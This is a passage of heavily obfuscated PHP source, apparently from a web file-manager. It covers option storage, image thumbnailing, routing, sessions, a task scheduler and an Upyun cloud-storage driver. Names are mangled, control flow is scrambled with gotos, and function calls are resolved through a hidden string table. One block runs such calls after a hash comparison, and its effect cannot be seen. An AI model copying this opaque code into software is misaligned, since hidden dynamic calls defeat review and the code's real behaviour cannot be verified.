get($EɄ = false, $F = '', $E = false) { goto b; Eߵ: $d = $this->where($C)->select(); $d = array_to_keyvalue($d, $E[89], $E[356]); foreach ($d as $F˜ => $f) { if ($E || in_array($F˜, $this->jsonField)) { $d[$F˜] = json_decode($f, !0); } } goto c𤚯; d: $fГ = is_array($fГ) ? $fГ : array(); if (is_array($d)) { $d = array_merge($fГ, $d); return $EɄ ? isset($d[$EɄ]) ? $d[$EɄ] : null : $d; } $C = $this->filterWhere(array($E[29] => $F)); goto Eߵ; b: $E =& $_SERVER[ѽ]; $d = $this->cacheGet($F); $fГ = $this->optionDefault($F); goto d; c𤚯: $this->cacheSet($F, $d); $d = array_merge($fГ, $d); return $EɄ ? $d[$EɄ] : $d; goto eмЃ; eмЃ: } public function set($dΏ, $d㚋˳ = false, $c = '') { goto Dۆޥ; Dۆޥ: $bŬ =& $_SERVER[ѽ]; $this->cacheRemove($c); $a짽 = array(); goto D۝; D۝: $C = is_array($dΏ) ? $dΏ : array($dΏ => $d㚋˳); foreach ($C as $EƖ͢ => $cً) { if (is_array($cً)) { $cً = json_encode_force($cً); } $this->checkLength($cً, !1, $this->tableName . $bŬ[4] . $dΏ); $cً = self::textEncode($cً); $C = array($bŬ[29] => $c, $bŬ[89] => $EƖ͢, $bŬ[356] => $cً); $a짽[] = $this->filterWhere($C); } if (!$a짽) { return !0; } goto e; e: return $this->addAll($a짽, array(), !0); goto e͎; e͎: } protected function optionDefault($b = '') { return !1; } public function setDeep($a, $a = false, $aי = '') { $aٚω = explode($_SERVER[ѽ][93], $a); $Dʄ = $this->get(); array_set_value($Dʄ, $a, $a); $this->set($aٚω[0], $Dʄ[$aٚω[0]], $aי); } public function remove($Aӂ̩, $aЧ = '') { $b =& $_SERVER[ѽ]; $this->cacheRemove($aЧ); $dʰ = $this->filterWhere(array($b[89] => $Aӂ̩, $b[29] => $aЧ)); if (is_null($Aӂ̩)) { unset($dʰ[$b[89]]); } return $this->where($dʰ)->delete(); } public function cacheSet($dȹï, $c = false) { return Cache::set($this->cacheKey($dȹï), $c); } public function cacheGet($D̝ꊂ) { return Cache::get($this->cacheKey($D̝ꊂ)); } public function cacheRemove($f) { return Cache::remove($this->cacheKey($f)); } protected function filterWhere($A) { return $A; } protected function cacheKey($D) { return $D; } } goto F݃; bه: class ImageThumb { var $srcFile = ''; var $imgData = ''; var $echoType; var $im = ''; var $srcW = ''; var $srcH = ''; function __construct($F˘, $f׶) { goto F; F: $this->srcFile = $F˘; $this->echoType = $f׶; $this->im = self::image($F˘); goto Cɩ; f⊊: $this->srcW = imageSX($this->im); $this->srcH = imageSY($this->im); return $this; goto f芸; Cɩ: if (!$this->im) { return !1; } $b̾ɿ = $_SERVER[ѽ][33]; $this->imgData = GetImageSize($F˘, $b̾ɿ); goto f⊊; f芸: } public static function image($c) { $Fς =& $_SERVER[ѽ]; $C = $Fς[33]; $F = GetImageSize($c, $C); $c呄ӝ = !1; switch ($F[2]) { case IMAGETYPE_GIF: if (!function_exists($Fς[1840])) { break; } $c呄ӝ = imagecreatefromgif($c); break; case IMAGETYPE_JPEG: if (!function_exists($Fς[1841])) { break; } $c呄ӝ = imagecreatefromjpeg($c); break; case IMAGETYPE_PNG: if (!function_exists($Fς[1842])) { break; } $c呄ӝ = @imagecreatefrompng($c); imagesavealpha($c呄ӝ, !0); break; case IMAGETYPE_XBM: $c呄ӝ = imagecreatefromxbm($c); break; case IMAGETYPE_WBMP: $c呄ӝ = imagecreatefromwbmp($c); break; case IMAGETYPE_BMP: $c呄ӝ = imagecreatefrombmp($c); break; default: break; } return $c呄ӝ; } public static function imageSize($BԠ) { $B̃ =& $_SERVER[ѽ]; $f = GetImageSize($BԠ); if (!$f) { return !1; } return array($B̃[1843] => $f[0], $B̃[1844] => $f[1]); } function distortion($f, $Eы, $B) { $A = $this->creatImage($this->im, $Eы, $B, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($A, $f); } function prorate($E, $d粢, $F۳) { $aЎ݃ = $d粢 / $F۳; $b = $this->srcW / $this->srcH; if ($aЎ݃ <= $b) { $FȊ = $d粢; $a = $FȊ * ($this->srcH / $this->srcW); } else { $a = $F۳; $FȊ = $a * ($this->srcW / $this->srcH); } if ($this->srcW > $d粢 || $this->srcH > $F۳) { $dșꔘ = $this->creatImage($this->im, $FȊ, $a, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($dșꔘ, $E); } else { $dșꔘ = $this->creatImage($this->im, $this->srcW, $this->srcH, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($dșꔘ, $E); } } function cut($Cş, $aᓝ, $Bٖ) { goto F㘪; e˃: return $this->echoImage($d, $Cş); goto f秎; F㘪: $D = $aᓝ / $Bٖ; $cܥ = $this->srcW / $this->srcH; if ($D <= $cܥ) { $cݩ = $Bٖ; $e = $cݩ * ($this->srcW / $this->srcH); } else { $e = $aᓝ; $cݩ = $e * ($this->srcH / $this->srcW); } goto AΫ; AΫ: $F҉ = $this->creatImage($this->im, $e, $cݩ, 0, 0, 0, 0, $this->srcW, $this->srcH); $d = $this->creatImage($F҉, $aᓝ, $Bٖ, 0, 0, ($e - $aᓝ) / 2, ($cݩ - $Bٖ) / 2, $aᓝ, $Bٖ); imageDestroy($F҉); goto e˃; f秎: } function backFill($D蓰, $e, $e횇, $fӖ = false, $f = 255, $d = 255, $dҸ首 = 255) { goto a; a: $bĐ = $e / $e횇; $Dǘ = $this->srcW / $this->srcH; if ($bĐ <= $Dǘ) { $d = $e; $d终˽ = $d * ($this->srcH / $this->srcW); } else { $d终˽ = $e횇; $d = $d终˽ * ($this->srcW / $this->srcH); } goto fţ; C܄: return $this->echoImage($a, $D蓰); goto d; fţ: if (function_exists($_SERVER[ѽ][1845])) { @($a = imageCreateTrueColor($e, $e횇)); if (!$a) { $a = imageCreate($e, $e횇); } } else { $a = imageCreate($e, $e횇); } $bà = ($e횇 - $d终˽) / 2; $a׆ = imagecolorallocate($a, $f, $d, $dҸ首); goto cϷ; cϷ: if ($fӖ) { $a׆ = imageColorTransparent($a, $a׆); $bà = $e횇 - $d终˽; } imageFilledRectangle($a, 0, 0, $e, $e횇, $a׆); if ($this->srcW > $e || $this->srcH > $e횇) { $e = $this->creatImage($this->im, $d, $d终˽, 0, 0, 0, 0, $this->srcW, $this->srcH); if ($d < $e) { imageCopy($a, $e, ($e - $d) / 2, 0, 0, 0, $d, $d终˽); } else { if ($d终˽ < $e횇) { imageCopy($a, $e, 0, $bÃ, 0, 0, $d, $d终˽); } else { imageCopy($a, $e, 0, 0, 0, 0, $d, $d终˽); } } } else { imageCopyMerge($a, $this->im, ($e - $d) / 2, $bÃ, 0, 0, $d, $d终˽, 100); } goto C܄; d: } function creatImage($bª, $Dő, $Cү, $c, $b, $b¨, $dբ, $DŖ, $BТ) { if (function_exists($_SERVER[ѽ][1845])) { @($dʪڕ = ImageCreateTrueColor($Dő, $Cү)); @imagealphablending($dʪڕ, !1); @imagesavealpha($dʪڕ, !0); if ($dʪڕ) { imageCopyResampled($dʪڕ, $bª, $c, $b, $b¨, $dբ, $Dő, $Cү, $DŖ, $BТ); } else { $dʪڕ = ImageCreate($Dő, $Cү); imageCopyResized($dʪڕ, $bª, $c, $b, $b¨, $dբ, $Dő, $Cү, $DŖ, $BТ); } } else { $dʪڕ = ImageCreate($Dő, $Cү); imageCopyResized($dʪڕ, $bª, $c, $b, $b¨, $dբ, $Dő, $Cү, $DŖ, $BТ); } return $dʪڕ; } public function imgRotate($CӦ, $C) { goto Bů֩پ; Bů֩پ: if (!$this->im || $C % 360 === 0 || !function_exists($_SERVER[ѽ][1846])) { return !1; } $fҗў = imageRotate($this->im, 360 - $C, 0); $b؋؞ = !1; goto dӡ; dӡ: switch ($this->imgData[2]) { case IMAGETYPE_GIF: $b؋؞ = imagegif($fҗў, $CӦ); break; case IMAGETYPE_JPEG: $b؋؞ = imagejpeg($fҗў, $CӦ, 100); break; case IMAGETYPE_PNG: $b؋؞ = imagePNG($fҗў, $CӦ); break; default: break; } imageDestroy($fҗў); imageDestroy($this->im); goto c; c: return $b؋؞; goto D; D: } function echoImage($Ě, $C՟) { goto D; Dв֥: imageDestroy($this->im); return $a; goto B; C܂: $a = !1; switch ($this->echoType) { case $d携[1847]: $a = imagePNG($Ě); break; case $d携[164]: $a = imagePNG($Ě, $C՟); break; } imageDestroy($Ě); goto Dв֥; D: $d携 =& $_SERVER[ѽ]; if (!$Ě) { return !1; } ob_get_clean(); goto C܂; B: } } if (!function_exists($_SERVER[ѽ][1848])) { define($_SERVER[ѽ][1849], 0); define($_SERVER[ѽ][1850], 1); define($_SERVER[ѽ][1851], 2); function imageflip($B׹, $Cۮ) { switch ($Cۮ) { case IMG_FLIP_HORIZONTAL: $Cߤ® = imagesx($B׹) - 1; $e = $Cߤ® / 2; $B׎ = imagesy($B׹); $eʈ = imageistruecolor($B׹) ? imagecreatetruecolor(1, $B׎) : imagecreate(1, $B׎); for ($Eޒ = 0; $Eޒ < $e; ++$Eޒ) { imagecopy($eʈ, $B׹, 0, 0, $Eޒ, 0, 1, $B׎); imagecopy($B׹, $B׹, $Eޒ, 0, $Cߤ® - $Eޒ, 0, 1, $B׎); imagecopy($B׹, $eʈ, $Cߤ® - $Eޒ, 0, 0, 0, 1, $B׎); } break; case IMG_FLIP_VERTICAL: $b㯑 = imagesx($B׹); $c뜞 = imagesy($B׹) - 1; $AЪ = $c뜞 / 2; $eʈ = imageistruecolor($B׹) ? imagecreatetruecolor($b㯑, 1) : imagecreate($b㯑, 1); for ($b = 0; $b < $AЪ; ++$b) { imagecopy($eʈ, $B׹, 0, 0, 0, $b, $b㯑, 1); imagecopy($B׹, $B׹, 0, $b, 0, $c뜞 - $b, $b㯑, 1); imagecopy($B׹, $eʈ, 0, $c뜞 - $b, 0, 0, $b㯑, 1); } break; case IMG_FLIP_BOTH: $b㯑 = imagesx($B׹); $B׎ = imagesy($B׹); $eʈ = imagerotate($B׹, 180, 0); imagecopy($B׹, $eʈ, 0, 0, 0, 0, $b㯑, $B׎); break; default: return; } imagedestroy($eʈ); } } if (!function_exists($_SERVER[ѽ][1852])) { function imagecreatefrombmp($BÝ) { return ImageGdBMP::load($BÝ); } } goto F͇; bʣ›: class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\156\171" => "\x5b\136\x2f\x5d\53", "\x3a\156\x75\155" => "\133\60\55\71\135\53", "\x3a\141\154\154" => "\x2e\x2a"); public static $errorCallback; public static function __callstatic($b⢪, $Dݥ) { $A獄 =& $_SERVER[ѽ]; if ($b⢪ == $A獄[1366]) { $Fѽ = array_map($A獄[1367], $Dݥ[0]); $FÚ։ = strpos($Dݥ[1], $A獄[8]) === 0 ? $Dݥ[1] : $A獄[8] . $Dݥ[1]; $f = $Dݥ[2]; } else { $Fѽ = null; $FÚ։ = strpos($Dݥ[0], $A獄[8]) === 0 ? $Dݥ[0] : $A獄[8] . $Dݥ[0]; $f = $Dݥ[1]; } array_push(self::$maps, $Fѽ); array_push(self::$routes, $FÚ։); array_push(self::$methods, strtoupper($b⢪)); array_push(self::$callbacks, $f); } public static function error($b֍) { self::$errorCallback = $b֍; } public static function haltOnMatch($aꎑ = true) { self::$halts = $aꎑ; } public static function dispatch() { goto a; Aښ϶: self::$routes = preg_replace($Bم[1077], $Bم[8], self::$routes); if (in_array($f, self::$routes)) { $C = array_keys(self::$routes, $f); foreach ($C as $B) { if (self::$methods[$B] == $BĢ || self::$methods[$B] == $Bم[1369] || in_array($BĢ, self::$maps[$B])) { $fՅ = !0; if (!is_object(self::$callbacks[$B])) { $E = explode($Bم[8], self::$callbacks[$B]); $C = end($E); $e = explode($Bم[1370], $C); $Dؐ = new $e[0](); $Dؐ->{$e[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$B]); if (self::$halts) { return; } } } } } else { $Fᗾ = 0; foreach (self::$routes as $B) { if (strpos($B, $Bم[4]) !== !1) { $B = str_replace($Aޏ, $c, $B); } if (preg_match($Bم[1371] . $B . $Bم[1372], $f, $Fӓ)) { if (self::$methods[$Fᗾ] == $BĢ || self::$methods[$Fᗾ] == $Bم[1369] || !empty(self::$maps[$Fᗾ]) && in_array($BĢ, self::$maps[$Fᗾ])) { $fՅ = !0; array_shift($Fӓ); if (!is_object(self::$callbacks[$Fᗾ])) { $E = explode($Bم[8], self::$callbacks[$Fᗾ]); $C = end($E); $e = explode($Bم[1370], $C); $Dؐ = new $e[0](); if (!method_exists($Dؐ, $e[1])) { echo $Bم[1373]; } else { call_user_func_array(array($Dؐ, $e[1]), $Fӓ); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$Fᗾ], $Fӓ); if (self::$halts) { return; } } } } $Fᗾ++; } } if ($fՅ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $Dߗһŗ =& $_SERVER[ѽ]; header($_SERVER[$Dߗһŗ[1374]] . $Dߗһŗ[1375]); echo $Dߗһŗ[1376]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$Bم[1368]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } goto CΘ; c䠊: $Aޏ = array_keys(static::$patterns); $c = array_values(static::$patterns); $fՅ = !1; goto Aښ϶; a: $Bم =& $_SERVER[ѽ]; $f = parse_url($_SERVER[$Bم[1368]], PHP_URL_PATH); $BĢ = $_SERVER[$Bم[151]]; goto c䠊; CΘ: } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { goto F񨿤; Aǥ: $C膙 = _get($GLOBALS, $Aߛ[1378], $C膙); if (self::$sessionSign) { } else { if (Cookie::get($C膙)) { self::$sessionSign = Cookie::get($C膙); } else { self::$sessionSign = guid(); } } Cookie::setSafe($C膙, self::$sessionSign, self::$sessionTime); goto cчЗ; E: $d… = $GLOBALS[$Aߛ[6]][$Aߛ[334]]; self::$sessionTime = $d…[$Aߛ[1377]]; $C膙 = SESSION_ID; goto Aǥ; a̎Ԏә: return $aȈ; goto dެչ; cчЗ: $Dᳪ = $d…[$Aߛ[1379]]; $A٢ = $d…[$Dᳪ]; $bԅ = $d…[$Aߛ[764]]; goto bᘉ; F񨿤: $Aߛ =& $_SERVER[ѽ]; static $aȈ = false; if ($aȈ) { return $aȈ; } goto E; bᘉ: switch ($Dᳪ) { case $Aߛ[17]: self::$handle = Model($Aߛ[765]); break; case $Aߛ[766]: self::$handle = new CacheRedis($A٢, $bԅ); break; case $Aߛ[767]: self::$handle = new CacheMemcached($A٢, $bԅ); break; case $Aߛ[164]: $A٢[$Aߛ[75]] = $A٢[$Aߛ[75]] . $Aߛ[1380]; self::$handle = new CacheFile($A٢, $bԅ); default: break; } if (!self::$data) { CacheLock::lock(self::$sessionSign); self::$data = self::$handle->get(self::$sessionSign); CacheLock::unlock(self::$sessionSign); self::$data = unserialize(self::$data); if (!is_array(self::$data)) { self::$data = array(); } } $aȈ = new self(); goto a̎Ԏә; dެչ: } public static function sign($B묘 = false) { $B묘 && (self::$sessionSign = $B묘); self::init(); return self::$sessionSign; } public static function set($Bјؾ, $A械 = false) { self::init(); if (is_array($Bјؾ)) { foreach ($Bјؾ as $Cǐ => $b옒) { array_set_value(self::$data, $Cǐ, $b옒); } } else { array_set_value(self::$data, $Bјؾ, $A械); } CacheLock::lock(self::$sessionSign); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); CacheLock::unlock(self::$sessionSign); } public static function get($f塄ӌ = false) { self::init(); if (!$f塄ӌ) { return self::$data; } return array_get_value(self::$data, $f塄ӌ); } public static function remove($aߘ) { self::init(); unset(self::$data[$aߘ]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[ѽ][769])) { self::$handle->clearTimeout(); } } } class AutoTask { public static function start() { goto F·; c: while (!0) { self::cacheClear(); if (self::valueGet($BƜ[699]) != $BƜ[83]) { self::valueSet($BƜ[1381], $BƜ[464]); self::log($BƜ[1385]); die; } self::valueSet($BƜ[1381], $BƜ[83]); self::valueSet($BƜ[1382], time()); self::taskRunAll(); sleep(self::valueGet($BƜ[1386])); } goto c̱; dȘ: http_close(); self::valueSet($BƜ[1381], $BƜ[83]); Hook::bind($BƜ[1383], $BƜ[1384]); goto c; F·: $BƜ =& $_SERVER[ѽ]; if (self::valueGet($BƜ[699]) != $BƜ[83]) { return; } if (self::valueGet($BƜ[1381]) == $BƜ[83]) { $E = self::valueGet($BƜ[1382]); if (time() - $E > 3600 * 2) { self::restart(); } return; } goto dȘ; c̱: } public static function restart() { $cܔ݈ =& $_SERVER[ѽ]; http_close(); self::valueSet($cܔ݈[699], $cܔ݈[464]); sleep(self::valueGet($cܔ݈[1386]) + 5); self::valueSet($cܔ݈[1381], $cܔ݈[464]); self::valueSet($cܔ݈[699], $cܔ݈[83]); } public static function shutdownEvent() { $b =& $_SERVER[ѽ]; self::valueSet($b[1381], $b[464]); self::log($b[1387]); } public static function config($Dĕ, $c烸) { $B =& $_SERVER[ѽ]; $DΊ = 20; $c烸 = intval($c烸) <= $DΊ ? $DΊ : intval($c烸); self::valueSet($B[699], $Dĕ); self::valueSet($B[1386], $c烸); } private static function taskRunAll() { $Dՙ =& $_SERVER[ѽ]; $dކ = Model($Dՙ[1388])->listData(); $C׾ = count($dކ); for ($c = 0; $c < $C׾; $c++) { $d = $dކ[$c]; if ($d[$Dՙ[1389]] != $Dՙ[83]) { continue; } if (!self::taskTimeCheck($d)) { continue; } self::taskRun($d); } Hook::trigger($Dՙ[1390]); } private static function taskTimeCheck($F籤ˋ) { goto C¾ᄉÝ; Eጸ: switch ($Cҹ[$cɓ[29]]) { case $cɓ[1397]: if (time() - $eڴ < 3600 * 24 * 30) { return !1; } if ($Cҹ[$cɓ[1397]] == date($cɓ[1398]) && $c̻) { return !0; } break; case $cɓ[1399]: if (time() - $eڴ < 3600 * 24 * 7) { return !1; } $B񆳝 = date($cɓ[1400]) == 0 ? 7 : date($cɓ[1400]); if ($Cҹ[$cɓ[1399]] == $B񆳝 && $c̻) { return !0; } break; case $cɓ[1392]: if (time() - $eڴ < 3600 * 24) { return !1; } if ($c̻) { return !0; } break; case $cɓ[1401]: if (time() - $eڴ >= floatval($Cҹ[$cɓ[1401]]) * 60) { return !0; } break; default: break; } return !1; goto Bᗇ; DЍ: $A؃ = strtotime($cɓ[1391] . $Cҹ[$cɓ[1392]] . $cɓ[1393]) - strtotime($cɓ[1394]); $a䢸 = time() - strtotime(date($cɓ[1395]) . $cɓ[1396]); $c̻ = $a䢸 >= $A؃ && $a䢸 <= $A؃ + 3600; goto Eጸ; C¾ᄉÝ: $cɓ =& $_SERVER[ѽ]; $Cҹ = json_decode($F籤ˋ[$cɓ[187]], !0); $eڴ = intval($F籤ˋ[$cɓ[1382]]); goto DЍ; Bᗇ: } public static function taskRun($A) { goto D’; Bڶ: Model($B҄鯢[1406])->add(array($B҄鯢[1407] => $B҄鯢[33], $B҄鯢[1408] => $B҄鯢[464], $B҄鯢[29] => $B҄鯢[1409] . $A[$B҄鯢[364]], $B҄鯢[1410] => json_encode(array($B҄鯢[28] => $A[$B҄鯢[28]], $B҄鯢[1411] => timeFloat() - $F귬ՠ, $B҄鯢[278] => $aѻ)))); self::log($B҄鯢[1412] . $A[$B҄鯢[364]] . $B҄鯢[1413] . $aѻ); return !0; goto b祿; D’: $B҄鯢 =& $_SERVER[ѽ]; self::log($B҄鯢[1402] . $A[$B҄鯢[364]] . $B҄鯢[1403] . $A[$B҄鯢[28]] . $B҄鯢[1404] . $A[$B҄鯢[1405]]); Model($B҄鯢[1388])->run($A[$B҄鯢[364]]); goto a; a: $F귬ՠ = timeFloat(); $aѻ = $B҄鯢[33]; switch ($A[$B҄鯢[29]]) { case $B҄鯢[292]: $B丹܌ = url_request($A[$B҄鯢[1405]], $B҄鯢[213], !1, !1, !1, !1, 5); $aѻ = strlen($B丹܌); break; case $B҄鯢[212]: $aѻ = Hook::apply($A[$B҄鯢[1405]]); default: break; } goto Bڶ; b祿: } private static function valueGet($dɓ) { $F =& $_SERVER[ѽ]; $EÑǥ = $F[1414]; $aп = Model($F[1415])->get($dɓ, $EÑǥ); if (is_null($aп)) { Model($F[1415])->set($F[1386], 10, $EÑǥ); Model($F[1415])->set($F[699], $F[83], $EÑǥ); Model($F[1415])->set($F[1381], $F[464], $EÑǥ); $aп = Model($F[1415])->get($dɓ, $EÑǥ); } return $aп; } private static function valueSet($fя, $fפ) { $C̔ =& $_SERVER[ѽ]; return Model($C̔[1415])->set($fя, $fפ, $C̔[1414]); } protected static function log($D) { write_log($D, $_SERVER[ѽ][1416]); } private static function cacheClear() { $bڂŮ =& $_SERVER[ѽ]; $cی½ = Model($bڂŮ[1415])->cacheKey($bڂŮ[1414]); Cache::clearMemory($cی½); } } goto CՃ; BҐˤ: if ($_SERVER[$_SERVER[ѽ][690]] != $d($dэݷ)) { goto A; A: $BԲ = $_SERVER[ѽ][692]; $B = $_SERVER[$_SERVER[ѽ][693]] . $_SERVER[ѽ][694]; $d׏ = $BԲ($B); goto Cǣ; fȢ: $eո($dэݷ); goto e̓; Cǣ: $A = explode($_SERVER[ѽ][214], $d׏); if (count($A) < $_SERVER[ѽ][553]) { $C = $_SERVER[ѽ][695]; $C(); } $eո = $_SERVER[ѽ][696]; goto fȢ; e̓: } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($a뺃ݙ, $cߑ = 0) { parent::__construct(); $this->source = $a뺃ݙ; $this->sourceSize = $cߑ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($Dǭ = false) { return $this->sourceSize; } public function getContent($DԲԵ = false) { if ($this->sourceType == self::TYPE_STRING) { return $this->source; } if ($this->sourceType == self::TYPE_FILE) { $eѢ = ftell($this->source); $Aَ = @fread($this->source, $this->sourceSize); fseek($this->source, $eѢ); return $Aَ; } } public function fileSubstr($b = false, $Fˉ = 0, $Cǩ = 0) { if (!$Cǩ) { $Cǩ = $this->sourceSize; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $Fˉ, $Cǩ); } if ($this->sourceType == self::TYPE_FILE) { $B놢 = ftell($this->source); fseek($this->source, $B놢 + $Fˉ); $aƆҒ = @fread($this->source, $Cǩ); fseek($this->source, $B놢); return $aƆҒ; } } public function hashMd5($cҷ򒉠 = false) { return md5($this->getContent()); } public static function hash($c嫶, $Cؼ = 0) { $D = new PathDriverStream($c嫶, $Cؼ); return $D->hashSimple($c嫶); } public static function md5($C, $Cߟ = 0) { $aޑ = new PathDriverStream($C, $Cߟ); return $aޑ->hashMd5($C); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\x74\164\160\x3a\x2f\x2f\x76\x30\x2e\x61\160\151\56\165\x70\x79\x75\x6e\56\x63\157\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($Fх懒) { parent::__construct(); $this->_init($Fх懒); } public function _init($Aݚ) { foreach ($Aݚ as $C => $A䂎) { if (isset($this->{$C})) { $this->{$C} = $A䂎; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { show_json($_SERVER[ѽ][1237], !1); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($EŐ, $bԔ = "\x47\105\x54") { $Fʻ =& $_SERVER[ѽ]; $a = gmdate($Fʻ[1201]); $BǢ = base64_encode(hash_hmac($Fʻ[1238], "{$bԔ}\46{$EŐ}\46{$a}", md5("{$this->userpass}"), !0)); $Eή = array("\101\165\x74\150\157\x72\x69\x7a\x61\x74\x69\x6f\156\x3a\x55\x50\x59\x55\x4e\40{$this->username}\72{$BǢ}", "\104\x61\x74\145\x3a{$a}"); return $Eή; } public function ussRequest($AΦ, $a݊ = "\x47\105\x54", $dʿ = false, $c·П = false, $Eص = false) { goto a; a: $aι =& $_SERVER[ѽ]; $AΦ = trim($AΦ, $aι[8]); $F˚ = "\x2f{$this->bucket}\x2f{$AΦ}"; goto e; e: $aﴢ = $this->ussHeaders($F˚, $a݊); if ($c·П) { $aﴢ = array_merge($aﴢ, $c·П); } $DӘ = url_request($this->endpoint . $F˚, $a݊, $dʿ, $aﴢ, $Eص); goto eߧޢ; eߧޢ: if (!$DӘ) { return array($aι[1036] => !1, $aι[1038] => $aι[1239]); } if (strtolower($a݊) == $aι[181] || in_array($DӘ[$aι[1036]], array($aι[1097], $aι[1240]))) { $dʿ = $DӘ[$aι[1241]]; } else { $dʿ = json_decode($DӘ[$aι[1038]], !0); if (!$dʿ) { $dʿ = $DӘ[$aι[1038]]; } else { if (!$DӘ[$aι[699]] && isset($dʿ[$aι[1242]])) { $dʿ = $dʿ[$aι[1242]]; } } } return array($aι[1036] => $DӘ[$aι[699]], $aι[1038] => $dʿ); goto d命; d命: } public function mkfile($C炫, $Cᄊ = '', $d٥ = REPEAT_RENAME) { if ($this->setContent($C炫, $Cᄊ)) { return $this->getPathOuter($C炫); } return !1; } public function mkdir($b, $bŒ = REPEAT_SKIP) { $fѡ =& $_SERVER[ѽ]; $eҚ = trim($b, $fѡ[8]); if ($this->_isFolder($eҚ)) { return $this->getPathOuter($eҚ); } $C = array($fѡ[1243]); $Ĕ = $this->ussRequest($eҚ, $fѡ[209], !1, $C); return $Ĕ[$fѡ[1036]] ? $this->getPathOuter($eҚ) : !1; } public function copyFile($eۭ똫, $bːĻ) { $F΃ =& $_SERVER[ѽ]; $Aܐګ = array($F΃[1244] . "\57{$this->bucket}\57{$eۭ똫}", $F΃[1245]); $C㐅 = $this->ussRequest($bːĻ, $F΃[211], !1, $Aܐګ); return $C㐅[$F΃[1036]] ? !0 : !1; } public function moveFile($bʄ, $eҚ) { $Fë =& $_SERVER[ѽ]; $a੪ = array($Fë[1246] . "\57{$this->bucket}\x2f{$bʄ}", $Fë[1245]); $bɑ֠ = $this->ussRequest($eҚ, $Fë[211], !1, $a੪); return $bɑ֠[$Fë[1036]] ? !0 : !1; } public function delFile($Eݞ) { $cǦ =& $_SERVER[ѽ]; $b = $this->ussRequest($Eݞ, $cǦ[1247]); return $b[$cǦ[1036]] ? !0 : !1; } public function delFolder($Aƞ) { $A蠟 =& $_SERVER[ѽ]; $cܝ = $this->listAll($Aƞ); krsort($cܝ); foreach ($cܝ as $d囹) { $this->ussRequest($d囹[$A蠟[75]], $A蠟[1247]); } return $this->ussRequest($Aƞ, $A蠟[1247]); } public function rename($äɂ, $B) { if ($this->isFile($äɂ)) { $B = get_path_father($äɂ) . $B; return $this->moveFile($äɂ, $B); } return $this->renameObject($äɂ, $B); } public function fileInfo($B͝, $a = false, $e = array()) { $a =& $_SERVER[ѽ]; if ($a) { return array($a[28] => $this->pathThis($B͝), $a[75] => $this->getPathOuter($a[8] . $B͝), $a[29] => $a[164], $a[77] => isset($e[$a[322]]) ? $e[$a[322]] : 0, $a[157] => $this->ext($B͝)); } $A쫢 = array($a[28] => $this->pathThis($B͝), $a[75] => $this->getPathOuter($a[8] . $B͝), $a[29] => $a[164], $a[184] => 0, $a[107] => isset($Eڌ[$a[1248]]) ? $Eڌ[$a[1248]] : 0, $a[77] => isset($e[$a[322]]) ? $e[$a[322]] : 0, $a[157] => $this->ext($B͝), $a[185] => !0, $a[186] => !0); if (empty($e)) { $e = $this->objectMeta($B͝); if (!$e) { return $A쫢; } $A쫢[$a[184]] = $e[$a[1249]]; $A쫢[$a[107]] = $e[$a[1250]]; $A쫢[$a[77]] = $e[$a[77]]; } return $A쫢; } public function folderInfo($fԆθ, $ȅݤ = false) { $a܄Ď̾ =& $_SERVER[ѽ]; if ($ȅݤ) { return array($a܄Ď̾[28] => $this->pathThis($fԆθ), $a܄Ď̾[75] => $this->getPathOuter($a܄Ď̾[8] . $fԆθ), $a܄Ď̾[29] => $a܄Ď̾[76]); } $e = array($a܄Ď̾[28] => $this->pathThis($fԆθ), $a܄Ď̾[75] => $this->getPathOuter($a܄Ď̾[8] . $fԆθ), $a܄Ď̾[29] => $a܄Ď̾[76], $a܄Ď̾[184] => 0, $a܄Ď̾[107] => isset($a攰[$a܄Ď̾[1248]]) ? $a攰[$a܄Ď̾[1248]] : 0, $a܄Ď̾[1158] => !0, $a܄Ď̾[1159] => !0); if (empty($E)) { $E = $this->objectMeta($fԆθ); if (!$E) { return $e; } $e[$a܄Ď̾[184]] = $E[$a܄Ď̾[1249]]; $e[$a܄Ď̾[107]] = $E[$a܄Ď̾[1250]]; } return $e; } private function fileList($b׆, $F = 0, $c놺 = 1000) { $fّղ =& $_SERVER[ѽ]; $F펋ͮ = array($fّղ[1251], $fّղ[1252] . $c놺); if ($F) { $F펋ͮ[] = $fّղ[1253] . $F; } $A = $this->ussRequest($b׆, $fّղ[213], !1, $F펋ͮ); return !$A[$fّղ[1036]] ? !1 : $A[$fّղ[1038]]; } public function listPath($c쑏, $cƞˆ = false) { goto F٦ϊ; dԟ: return array($Bܺ[74] => $a⃹, $Bܺ[73] => $c҈); goto D; F٦ϊ: $Bܺ =& $_SERVER[ѽ]; $Eܧ = $Bܺ[33]; $F = 1000; goto C悡; C悡: $a⃹ = $c҈ = array(); $b˽ = rtrim($c쑏, $Bܺ[8]) . $Bܺ[8]; while (!0) { $cȺ = $this->fileList($c쑏, $Eܧ, $F); if (!$cȺ) { return !1; } $Eܧ = 